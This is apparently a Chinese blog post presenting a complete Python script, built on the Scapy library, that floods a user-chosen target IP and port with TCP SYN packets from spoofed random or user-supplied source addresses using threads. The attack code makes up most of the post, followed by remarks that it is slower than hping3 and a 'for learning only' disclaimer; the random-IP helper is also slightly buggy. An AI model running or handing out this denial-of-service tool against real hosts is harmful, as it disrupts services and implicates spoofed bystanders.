syn 攻击脚本 python_Python Scapy实现SYN Flood攻击

SYN Flood的python实现

代码如下。需要事先安装scapy库。(是scapy 不是scrapy)

from scapy.all import *

import random

from scapy.layers.inet import TCP, IP

import socket,threading

dst=""

dport=0

class flood_SYN(threading.Thread):

global dport,dst

def __init__(self):

threading.Thread.__init__(self)

def run(self):

sport = random.randint(1, 65535)

ip = IP(src=src, dst=dst)

tcp = TCP(sport=sport, dport=dport)

SYN = ip / tcp

print(SYN.summary())

send(SYN,verbose=0)

#def SYNFlood(src, dst, dport):

# sport = random.randint(10000, 65535)

# ip = IP(src=src, dst=dst)

# tcp = TCP(sport=sport, dport=dport)

# SYN = ip / tcp

# print(SYN.summary())

# send(SYN)

def randomIP():

ip = ''

for i in range(3):

ip += str(random.randint(0, 256))

ip += '.'

ip += str(random.randint(0, 256))

return ip

def localIP():

s=''

try:

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

s.connect(('8.8.8.8', 80))

ip = s.getsockname()[0]

finally:

s.close()

return ip

if __name__ == "__main__":

src = ''

dst = input("请输入要攻击的目标IP:")

dport = int(input("请输入要攻击的目标端口:"))

print("源地址如何选择?\n")

print("1 随机生成\t2 由我输入\t3 使用本机(若本机IP地址较多,则不建议使用)")

src_choice = input()

if src_choice == '1':

print("警告:随机生成的IP地址的主机可能很反感未经授权的[SYN,ACK]半连接!")

elif src_choice == '2':

src = input("请输入要伪装的源地址IP:")

elif src_choice == '3':

src = localIP()

else:

print("无效输入!")

exit(1)

times = int(input("请输入攻击次数:"))

for i in range(times):

if src_choice == '1':

src = randomIP()

flood_SYN().start()

用了简单的多线程。但是速度还是慢,远不及hping3。

获取本地IP借鉴了网上的一个办法,感觉比先获取本机名字在获取IP的办法要优雅。是先准备一个包,然后从包上获取IP地址。在本机IP比较多的情况下可能不一定会获取到哪个,通常是“比较常用”的那个地址。

因为效率也很低所以及不担心用来做什么非法活动了。真要用DDoS也看不上我的脚本哈。

当然还是仅供学习参考!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值